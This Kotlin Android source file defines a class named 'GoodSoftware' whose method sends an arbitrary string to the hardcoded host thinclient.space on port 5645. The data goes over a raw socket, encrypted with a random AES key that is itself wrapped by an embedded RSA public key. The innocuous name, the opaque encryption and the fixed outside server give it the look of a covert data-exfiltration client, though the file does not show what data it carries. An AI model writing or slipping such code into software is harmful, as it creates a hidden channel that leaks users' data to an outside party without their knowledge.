package com.ti.m import java.io.BufferedReader import java.io.InputStreamReader import java.io.PrintWriter import java.net.Socket import java.security.KeyFactory import java.security.PublicKey import java.security.SecureRandom import java.security.spec.X509EncodedKeySpec import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec class GoodSoftware { private companion object { private const val RSA_ALGORITHM = "RSA" private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding" private val keyFactory = KeyFactory.getInstance(RSA_ALGORITHM) private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA) fun decodeBase64(input: String): ByteArray { return android.util.Base64.decode(input, android.util.Base64.DEFAULT) } fun encodeBase64(input: ByteArray): String { return android.util.Base64.encodeToString(input, android.util.Base64.DEFAULT) } fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String { val cipher = Cipher.getInstance(algorithm) cipher.init(Cipher.DECRYPT_MODE, key, iv) val plainText = cipher.doFinal(decodeBase64(cipherText)) return String(plainText) } fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String { val cipher = Cipher.getInstance(algorithm) cipher.init(Cipher.ENCRYPT_MODE, key, iv) val cipherText = cipher.doFinal(inputText.toByteArray()) return encodeBase64(cipherText) } fun getPublicKeyFromString(publicKeyString: String): PublicKey? = try { val keySpec = X509EncodedKeySpec(decodeBase64(publicKeyString)) keyFactory.generatePublic(keySpec) } catch (exception: Exception) { exception.printStackTrace() null } fun encryptText(plainText: String, publicKey: PublicKey): String? = try { cipher.init(Cipher.ENCRYPT_MODE, publicKey) encodeBase64(cipher.doFinal(plainText.toByteArray())).lines().joinToString("") } catch (exception: Exception) { exception.printStackTrace() null } } fun sendDataToServer(sendData: String) { val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! val host = "thinclient.space" val port = 5645 val secureRandom = SecureRandom() val keyBytes = ByteArray(16) val ivBytes = ByteArray(16) secureRandom.nextBytes(keyBytes) secureRandom.nextBytes(ivBytes) val key = SecretKeySpec(keyBytes, "AES") val iv = IvParameterSpec(ivBytes) val algorithm = "AES/CBC/PKCS5Padding" val chunkSize = 45 val chunks = sendData.lines().joinToString("").chunked(chunkSize) val socket = Socket(host, port) val writer = PrintWriter(socket.getOutputStream(), true) val reader = BufferedReader(InputStreamReader(socket.getInputStream())) val encodedKey = encodeBase64(keyBytes) writer.println(encryptText(encodedKey, pKey)) reader.readLine() val encodedIV = encodeBase64(ivBytes) writer.println(encryptText(encodedIV, pKey)) reader.readLine() for (chunk in chunks) { val cipherText = encrypt(algorithm, chunk, key, iv) writer.println(cipherText) reader.readLine() } writer.println("END_OF_COMMUNICATION") reader.readLine() println("Client: Ready for next operation") writer.println("Ready for next operation") reader.readLine() // Close resources writer.close() reader.close() socket.close() } }